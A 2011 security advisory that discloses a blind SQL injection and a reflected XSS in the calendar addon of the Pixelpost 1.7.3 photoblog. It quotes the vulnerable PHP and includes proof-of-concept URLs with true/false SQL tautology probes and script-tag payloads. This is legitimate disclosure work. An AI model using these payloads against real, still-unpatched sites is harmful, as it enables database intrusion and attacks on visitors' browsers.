Pixelpost (Calendar addon 1.1.6) 1.7.3 Multiple vulnerabilities

 Name              Pixelpost (Calendar 1.1.6) 1.7.3 Multiple vulnerabilities
 Systems Affected  Pixelpost v1.7.3
 Severity          High
 Impact            High 10/10, vector (AV:N/AC:L/Au:N/C:C/I:C/A:C)
 Vendor            http://www.pixelpost.org/
 Advisory          http://www.ush.it/team/negator/hack-pixelpost_173/adv.txt
 Author            Simone "negator" Onofri
 Date              20110407

I. BACKGROUND

Pixelpost is an open-source, standards-compliant, multi-lingual, fully
extensible photoblog application for the web.

II. DESCRIPTION

Pixelpost "Calendar", a pretty looking image gallery written in PHP, is
vulnerable to Blind SQL Injection and XSS.

III. ANALYSIS

Summary:
       A) Blind SQL Injection (SQLI) Vulnerability
       B) Reflected Cross Site Scirpting (XSS) Vulnerability

A) Blind SQL Injection (SQLI) Vulnerability

A blind SQL Injection vulnerability exists in Pixelpost version 1.7.3.

The calendar functionality must be enabled, it's an addon distributed
with the package but disabled by default.

The GET variable "category" inserted into a SELECT query without
sanitization and/or cast to an integer type on "addon/calendar.php":

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

$query2 = mysql_query("SELECT a.* FROM ".$pixelpost_db_prefix."pixelpost
a, ".$pixelpost_db_prefix."catassoc b WHERE b.cat_id = '" .
$_GET["category"] . "' AND a.id = b.image_id AND (a.datetime like
'$prev_browsing_month_day%') ORDER BY a.datetime desc limit 1");

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

It's possible to exploit the issue in the standard blind way, for
example using TRUE/FALSE statements (tautology based bisection).

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

http://www.example.com/pixelpost/index.php?curr_month=4&curr_year=2011&showimage=3&category=10'+AND+'1'='1

http://www.example.com/pixelpost/index.php?curr_month=4&curr_year=2011&showimage=3&category=10'+AND+'1'='0

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

B) Reflected Cross Site Scripting (XSS) Vulnerability

A Reflected Cross Site Scripting vulnerability exists in Pixelpost
version 1.7.3 in the shipped by default but disabled calendar addon.

The GET variables "curr_year" and "category" are reflected in page
without proper encoding on "addon/calendar.php":

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

$cal_vz .= "
<table class='table-calendar-vz' cellspacing='0'>
<tr>
<td class='td-calendar-navi-vz'><a href='$PHP_SELF?curr_month=$prev_mont
h&curr_year=$prev_year&showimage=$prev_image_id$geos_cat_id'>&la
quo;</a></td>
<td colspan='5' class='td-calendar-navi-vz'>
       $asc_mon-$curr_year
</td>
<td class='td-calendar-navi-vz'><a href='$PHP_SELF?curr_month=$next_mont
h&curr_year=$next_year&showimage=$next_image_id$geos_cat_id'>&ra
quo;</a></td>
</tr>
<tr>";

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

PoC URL that exploits this vulnerability:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

http://www.example.com/pixelpost/index.php?curr_month=4&curr_year=2011'>
<script>alert('XSS')</script>&showimage=3&category=1'><script>alert('XSS
2')</script>

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

We did not investigate issues that may occour with globals on.

IV. DETECTION

Pixelpost 1.7.3 and possibly earlier versions are vulnerable.

V. WORKAROUND

No fix available.

VI. VENDOR RESPONSE

No Vendor response.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20110309 Bug discovered
20110309 Vendor contacted
20110321 Advisory release scheduled for 20110407
20110407 Advisory released

IX. REFERENCES

Well you know what a SQLi or XSS is, right?

X. CREDIT

Simone "negator" Onofri is credited for the discovery of this
vulnerability.

Thanks to Francesco "ascii" Ongaro for revision and fine editing.

Simone "negator" Onofri
web site: http://simone.onofri.net/
mail: simone AT onofri DOT net

Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it

XI. LEGAL NOTICES

Copyright (c) 2011 Francesco "ascii" Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.